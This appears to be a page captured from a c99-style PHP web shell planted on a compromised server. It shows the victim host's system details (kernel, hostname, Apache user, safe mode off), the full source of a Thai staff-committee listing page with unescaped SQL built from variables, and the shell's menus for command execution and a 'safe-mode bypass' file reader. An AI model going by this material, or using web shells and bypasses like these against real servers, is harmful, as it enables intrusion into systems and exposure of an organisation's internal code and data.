Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/Develop_person_depart/ drwxr-xr-x |
Viewing file: Select action/file-type: <?php include("../include/FunctionDB.php"); include("admin_menu.php"); include("../include/Function.php"); ConnectDB(); $sql = "Select * From personal_tb"; $result = mysql_query($sql) or die(" Error1").mysql_error(); $num = mysql_num_rows($result); $sql2 = "Select * From committee_tb GROUP BY Year_com"; $result2 = mysql_query($sql2) or die(" Error2").mysql_error(); $num = mysql_num_rows($result2); ?> <meta http-equiv="Content-Type" content="text/html; charset=TIS-620"> <link href="../source/style.css" rel="stylesheet" type="text/css"> <style type="text/css"> <!-- .style14 { font-size: 14px; font-weight: bold; } --> </style> <table width="791" border="0" cellpadding="0" cellspacing="0"> <tr> <td ><br> <fieldset> <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_personal.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="menu_personal.php">ข้อมูลการพัฒนาบุคลากร</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> ข้อมูลการเป็นกรรมการบริการวิชาการ</font></legend> <label> <form id="form1" name="form1" method="post" action=""> <table width="66%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#EEEEEE" style="border:1px solid gray"> <tr bgcolor="#AED7FF"> <td height="17" colspan="3" background="../../Image/bIns.jpg"><div align="center" class="style14"><font color="#003366" face="Tahoma">ข้อมูลการเป็นกรรมการบริการวิชาการ</font></div></td> </tr> <tr bordercolor="#0066CC" bgcolor="#CCE6FF"> <td width="49" height="22" align="center" bgcolor="#CCE6FF" style="border:1px solid gray"><strong><font color="#000000" size="2" face="Tahoma">ลำดับ</font></strong></td> <td width="221" align="center" bgcolor="#CCE6FF" style="border:1px solid gray"><strong><font size="2" face="Tahoma">ปีการศึกษา</font></strong></td> <td width="245" align="center" bgcolor="#CCE6FF" style="border:1px solid gray"><font color="#000000" size="2" face="Tahoma"><strong>จำนวนเรื่อง/ปีการศึกษา</strong></font></td> </tr> <? $i = 1; $j = 0; $k = 0; $m = 0; $n = 0; $p = 0; $q = 0; while($rs2 =mysql_fetch_array($result2) ) { if($count==0) { ?> <tr bgcolor="#F9FEFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#F9FEFF'"> <td align="center" bordercolor="#EBFAFE"><strong><font size="2" face="Tahoma"><?echo $i?></font></strong></td> <td bordercolor="#EBFAFE"><div align="center"><strong><font color="#993333" size="2" face="Tahoma"> <a href="PersonalComList.php?Year_com=<? echo $rs2[Year_com]?>" class="d" > <? echo $rs2[Year_com]?></a></font></strong></div></td> <td bordercolor="#EBFAFE"><div align="center"><strong><font color="#993333" size="2" face="Tahoma"><a href="CommitteeList.php?Year_com=<? echo $rs2[Year_com]?>" class="d" > <?php $Year_com = $rs2[Year_com]; $sql3 = "Select * From committee_tb Where Year_com='$Year_com'"; $result3 = mysql_query($sql3) or die("Error".mysql_error()); $numc = mysql_num_rows($result3); echo"$numc"; ?> </a></font></strong></div></td> </tr> <? $count=1; } else { ?> <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'"> <td align="center"><strong><font size="2" face="Tahoma"><?echo $i?></font></strong></td> <td><div align="center"><strong><font color="#993333" size="2" face="Tahoma"> <a href="CommitteeList.php?Year_com=<? echo $rs2[Year_com]?>" class="d" > </a><a href="PersonalComList.php?Year_com=<? echo $rs2[Year_com]?>" class="d" ><? echo $rs2[Year_com]?></a></font></strong></div></td> <td><div align="center"><strong><font color="#993333" size="2" face="Tahoma"><a href="CommitteeList.php?Year_com=<? echo $rs2[Year_com]?>" class="d" > <?php $Year_com = $rs2[Year_com]; $sql3 = "Select * From committee_tb Where Year_com='$Year_com'"; $result3 = mysql_query($sql3) or die("Error".mysql_error()); $numc = mysql_num_rows($result3); echo"$numc"; ?> </a></font></strong></div></td> </tr> <? $count=0; } $i++; } ?> <tr bordercolor="#FFFFFF" bgcolor="#CCE6FF" > <td colspan="3" align="center"> </td> </tr> </table> </form> </fieldset> <br> <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br> </font></td> </tr> </table> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]-- |